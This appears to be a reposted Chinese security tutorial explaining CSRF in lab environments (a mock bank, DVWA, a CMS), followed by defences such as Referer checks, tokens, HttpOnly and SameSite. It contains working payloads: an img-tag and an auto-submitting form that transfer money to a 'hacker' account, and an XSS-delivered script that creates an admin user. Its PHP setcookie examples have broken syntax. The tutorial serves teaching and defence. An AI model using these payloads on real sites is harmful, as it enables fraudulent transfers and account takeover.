跨站请求伪造(CSRF)攻击与防御原理

跨站请求伪造(CSRF)

1.1 CSRF原理

1.1.1 基本概念

跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应用程序。

1.1.2 关键点

  • 受害者没有退出登录,受害者保持身份认证。
  • CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。
  • CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP 地址,Windows 域凭据等。

1.1.3 目标

  • CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。
  • CSRF 的场景中,攻击者是没有办法获得服务器的响应。

1.2 CSRF 场景

1.2.1 银行账户转账

搭建模拟银行网站

image-20230828171043040

1.2.2 构造虚假网站

构造CSRF攻击连接

<meta charset='utf-8'>
<imgsrc='./1.jpg'><br/>
<img src='http://192.168.16.136/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝刀在手,谁与争锋'>

攻击者通过 <img> 标签构造GET 请求:当浏览器加载图片的时候执行了GET请求链接。

浏览器根据 <img> 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息。

1.2.3 场景建模

image-20230828165612981

同意浏览器下,两个网站,信任的网站A和不信任的网站B

环境搭建

银行环境

将bank压缩包解压后,创建数据库和表

image-20230828171959496

虚假网站

GET型

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.16.136/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>

POST型

<meta charset='utf-8'>
<form name='csrf' action='http://192.168.16.136/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

image-20230828172308668

步骤

使用两个浏览器登录admin和hacker的银行账户

image-20230828172633396

image-20230828172718159

1.admin用户登录银行网址时没有退出登录但是被引诱点击了hacker准备的危险网站,进入游戏

image-20230828172839533

2.当admin用户点击危险网站或者在危险网站中刷新的时候,就会遭受攻击,给hacker用户转账

image-20230828173200128

3.每有一个人点击hacker的危险网站hacker就会进账一百元,但是前提是,被攻击的用户在没退出网上银行的时候点击hacker的危险网站才会有效

image-20230828173342401

原因

在危险网站中打开F12,点击网络,本应该之访问self.php网站的但是又访问了bank网站

image-20230828174415526

image-20230828174604890

查看源代码,一个img标签中有恶意代码

image-20230828174817287

转账的三要素是原账号,转账金额,目标账号

原账号在cookie中

点击bank请求,查看cookie,此cookie是还未退出网上银行登录点击了危险网站的hello用户的cookie

image-20230828175451890

在危险网站中有hello用户网上银行的cookie,此时这就是跨站;当访问危险网站的时候,危险网站又在本浏览器中向网上银行发起请求,当危险网站中存储的是网上银行的cookie,也会将cookie信息带上,那么就形成了转账的三要素。进行了转账。

1.3 CSRF类别

1.3.1 POST方式

<meta charset='utf-8'>
<form name='csrf' action='http://10.4.7.130/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'> 
<input type='hidden' name='money' value='100'> 
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

1.4 CSRF 验证

1.4.1 CSRF PoC generator

Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证。

打开dvwa

image-20230828192201170

使用bp构建链接

打开bp,点击target模块

image-20230828192257637

展开网页路径,形成一个目录结构,发现有许多的文件或目录上有红点,点开红点就会发现有安全风险。

使用bp代理时,也会自动检测一些安全风险

image-20230828192753480

image-20230828193324043

image-20230828193506799

点击CSRF,修改密码,在bp中点击history,点击修改密码的链接

image-20230828194024692

在Request中右击找到Engagement tools,点击Generate CSRF PoC(生成CSRF漏洞验证代码)

image-20230828194506166

生成代码后,修改密码为123.com,点击浏览器中测试生成一个url地址,复制url地址

image-20230828194715286

image-20230828195039280

image-20230828195115646

在admin还没有退出dvwa时访问复制的url地址(恶意网站)

image-20230828195351236

当用户点击Submit request时密码就会被修改

image-20230828195436642

image-20230828195535872

image-20230828195553628

2. CSRF 攻防

2.1 CSRF 实战

2.1.1 与XSS漏洞相结合

攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest(); xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7
&userid=0");
</script>

前提

什么是与XSS相结合:就是说这个请求和触发通过js代码来触发。要想触发请求的话,先研究目标网站的工作流程,得知道网站是否含有XSS漏洞。

结合XSS添加账户

登录cms,点击管理员账号,点击添加用户:xu,123456

image-20230828201903147

image-20230828202040838

找到添加账号的数据包,将数据保存。

POST /cms/admin/user.action.php HTTP/1.1Host: 192.168.16.136Content-Length: 105Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.16.136Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.16.136/cms/admin/user.add.php?act=addAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: username=admin; userid=1; PHPSESSID=o4h4avhnt0km9mnq89vbj97g32Connection: closeact=add&username=xu&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0

因为请求和触发通过js代码来触发,open中的地址改为cms的地址,send中添加抓取的数据包中的act

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.16.136/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=xujie&password=991207&password2=991207&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

在cms系统首页中点击留言板,在留言板中添加数据

image-20230828203131332

image-20230828203314659

提交,管理员进行留言管理,当看见留言时已遭受攻击,使用创建的用户密码登录

image-20230828203627939

2.2 CSRF 防御

2.2.1 无效防御

使用秘密的Cookie:将存储在浏览器端用来身份认证的cookie信息进行加密。

仅接收POST 请求。

多步交易:多步交易,有可能会被恶意攻击者预测。

URL 重写:用户的身份信息会暴露在URL 中,不建议通过引入另外一个漏洞来解决当前漏洞。

HTTPS:所有安全机制的前提。

2.2.2 有效防御

验证Referer 字段:

  • 前URL 的上一个URL;
  • 转账页面到转账操作;
  • 伪造?

添加Token 验证:

image-20230828204758285

二次验证:在关键操作之前,再输入密码或者验证码。

HttpOnly:cookie安全机制,某些情况下禁止JS 脚本访问Cookie 信息。

在phpstudy中的根目录下,创建文件夹php,php中创建文件夹funcitions,在此文件夹下创建setcookie.php,setcookie是php的函数用来下发cookie信息的,在php.net中查看,setcookie中有七个参数

PHP:setcookie

image-20230828210107948

<?phpsetcookie("username","xujie",time()+3600),"","","",true)
?>

先不添加true参数

<?php  setcookie("username","xujie",time()+3600),"","","")
?>

打开浏览器访问setcookie.php,页面什么也没有

image-20230828210818775

打开F12 ,点击Console,输入alert(document.cookie);cookie信息显现

image-20230828211805418

点击Application,点击cookie,httponly没有选择

image-20230828211906374

删除cookie,重新点击Console,输入alert(document.cookie);没有cookie

image-20230828212200316

访问添加了true的setcookie.php页面

打开F12 ,点击Console,输入alert(document.cookie);cookie信息没有显现

image-20230828211118862

点击Application,点击cookie,有cookie并且开启httponly

image-20230828212542455

SameSite:Cookie 属性,浏览器自带安全机制。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/66654.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么是malloxx勒索病毒,服务器中malloxx勒索病毒了怎么办?

Malloxx勒索病毒是一种新型的电脑病毒&#xff0c;它通过加密用户电脑中的重要文件数据来威胁用户&#xff0c;并以此勒索钱财。这种病毒并不是让用户的电脑瘫痪&#xff0c;而是以非常独特的方式进行攻击。在感染了Malloxx勒索病毒后&#xff0c;它会加密用户服务器中的数据&a…

深入探讨Java虚拟机(JVM):执行流程、内存管理和垃圾回收机制

目录 什么是JVM&#xff1f; JVM 执行流程 JVM 运行时数据区 堆&#xff08;线程共享&#xff09; Java虚拟机栈&#xff08;线程私有&#xff09; 什么是线程私有? 程序计数器&#xff08;线程私有&#xff09; 方法区&#xff08;线程共享&#xff09; JDK 1.8 元空…

【LeetCode-面试经典150题-day18】

目录 17.电话号码的字母组合 77.组合 46.全排列 52.N皇后Ⅱ 17.电话号码的字母组合 题意&#xff1a; 给定一个仅包含数字 2-9 的字符串&#xff0c;返回所有它能表示的字母组合。答案可以按 任意顺序 返回。 给出数字到字母的映射如下&#xff08;与电话按键相同&#xf…

mysql:[Some non-transactional changed tables couldn‘t be rolled back]不支持事务

1. mysql创建表时默认引擎MyIsam&#xff0c;因此不支持事务的操作&#xff1b; 2. 修改mysql的默认引擎&#xff0c;可以使用show engine命令查看支持的引擎&#xff1a; 【my.conf详情说明】my.cnf配置文件注释详解_xiaolin01999的博客-CSDN博客 3. 原来使用MyIsam创建的表…

Linux系统中驱动面试分享

​ 1、驱动程序分为几类&#xff1f; 字符设备驱动 块设备驱动 网络设备驱动 2、字符设备驱动需要实现的接口通常有哪些 open、close、read、write、ioctl等接口。 3、主设备号与次设备号的作用 主设备号和次设备号是用来标识系统中的设备的&#xff0c;主设备号用来标识…

postgresql并行查询(高级特性)

######################## 并行查询 postgresql和Oracle一样支持并行查询的,比如select、update、delete大事无开启并行功能后,能够利用多核cpu,从而充分发挥硬件性能,提升大事物的处理效率。 pg在9.6的版本之前是不支持的并行查询的,从9.6开始支持并行查询,但是功能非常…

OpenCV(十六):高斯图像金字塔

目录 1.高斯图像金字塔原理 2.高斯图像金字塔实现 1.高斯图像金字塔原理 高斯图像金字塔是一种用于多尺度图像表示和处理的重要技术。它通过对图像进行多次高斯模糊和下采样操作来生成不同分辨率的图像层级&#xff0c;每个层级都是原始图像的模糊和降采样版本。 以下是高斯…

count(1)与count(*)的区别、ROUND函数

部分问题 1. count(1)与count(*)的区别2. ROUND函数3. SQL19 分组过滤练习题4. Mysql bigdecimal 与 float的区别5. 隐式内连接与显示内连接 &#xff08;INNER可省略&#xff09; 1. count(1)与count(*)的区别 COUNT(*)和COUNT(1)有什么区别&#xff1f; count(*)包括了所有…

图表背后的故事:数据可视化的威力与影响

数据可视化现在在市场上重不重要&#xff1f;这已经不再是一个简单的问题&#xff0c;而是一个不可忽视的现实。随着信息时代的来临&#xff0c;数据已经成为企业和组织的核心资产&#xff0c;而数据可视化则成为释放数据价值的重要工具。 在当今竞争激烈的商业环境中&#xf…

小赢科技,寻找金融科技核心价

如果说金融是经济的晴雨表&#xff0c;是通过改善供给质量以提高经济质量的切入口&#xff0c;那么金融科技公司&#xff0c;就是这一切行动的推手。上半年&#xff0c;社会经济活跃程度提高背后&#xff0c;金融科技公司既是奉献者&#xff0c;也是受益者。 8月29日&#xff0…

数据艺术:精通数据可视化的关键步骤

数据可视化是将复杂数据转化为易于理解的图表和图形的过程&#xff0c;帮助我们发现趋势、关联和模式。同时数据可视化也是数字孪生的基础&#xff0c;本文小编带大家用最简单的话语为大家讲解怎么制作一个数据可视化大屏&#xff0c;接下来跟随小编的思路走起来~ 1.数据收集和…

华为云Stack的学习(四)

五、Service OM资源管理 1.Service OM简介 1.1 Service OM介绍 在华为云Stack解决方案中&#xff0c;Service OM是FusionSphere OpenStack的操作管理界面&#xff0c;是资源池&#xff08;计算、存储、网络&#xff09;以及基础云服务的管理工具。 1.2 Service OM定位 Serv…

Apifox(1)比postman更优秀的接口自动化测试平台

Apifox介绍 Apifox 是 API 文档、API 调试、API Mock、API 自动化测试一体化协作平台&#xff0c;定位 Postman Swagger Mock JMeter。通过一套系统、一份数据&#xff0c;解决多个系统之间的数据同步问题。只要定义好 API 文档&#xff0c;API 调试、API 数据 Mock、API 自…

Mysql数据库(3)—架构和日志

Mysql的架构设计 Mysql分为Server层和存储引擎层&#xff1a; Server层 主要包括连接器、查询缓存、分析器、优化器、执行器等&#xff0c;涵盖 MySQL 的大多数核心服务功能&#xff0c;以及所有的内置函数&#xff08;如日期、时间、数学和加密函数等&#xff09;&#xff…

【GitHub 个人主页】适应于初学者的自定义个人主页设置

▚ 00 自定义GitHub主页的教程 &#x1f341; 【保姆级教程】手把手教你用github制作学术个人主页&#xff08;学者必备&#xff09; ▚ 01 优秀案例 1.1 添加Stats &#x1f383; 网址为&#xff1a;Stats & Most Used Langs

【一等奖方案】大规模金融图数据中异常风险行为模式挖掘赛题「NUFE」解题思路

第十届CCF大数据与计算智能大赛&#xff08;2022 CCF BDCI&#xff09;已圆满结束&#xff0c;大赛官方竞赛平台DataFountain&#xff08;简称DF平台&#xff09;正在陆续释出各赛题获奖队伍的方案思路&#xff0c;欢迎广大数据科学家交流讨论。 本方案为【大规模金融图数据中…

pandas数据分析之数据绘图

一图胜千言&#xff0c;将信息可视化&#xff08;绘图&#xff09;是数据分析中最重要的工作之一。它除了让人们对数据更加直观以外&#xff0c;还可以帮助我们找出异常值、必要的数据转换、得出有关模型的想法等等。pandas 在数据分析、数据可视化方面有着较为广泛的应用。本文…

使用MDK5的一些偏僻使用方法和谋个功能的作用

程序下载后无法运行 需要勾选如下库&#xff0c;是优化后的库&#xff1b; MicroLib和标准C库之间的主要区别是: 1、MicroLib是专为深度嵌入式应用程序而设计的。 2、MicroLib经过优化&#xff0c;比使用ARM标准库使用更少的代码和数据内存。 3、MicroLib被设计成在没有操作…

Windows安装配置Rust(附CLion配置与运行)

Windows安装配置Rust&#xff08;附CLion配置与运行&#xff09; 前言一、下载二、安装三、配置标准库&#xff01;&#xff01;&#xff01;四、使用 CLion 运行 rust1、新建rust项目2、配置运行环境3、运行 前言 本文以 windows 安装为例&#xff0c;配置编译器为 minGW&…

Linux知识点 -- Linux多线程(四)

Linux知识点 – Linux多线程&#xff08;四&#xff09; 文章目录 Linux知识点 -- Linux多线程&#xff08;四&#xff09;一、线程池1.概念2.实现3.单例模式的线程池 二、STL、智能指针和线程安全1.STL的容器是否是线程安全的2.智能指针是否是线程安全的 三、其他常见的各种锁…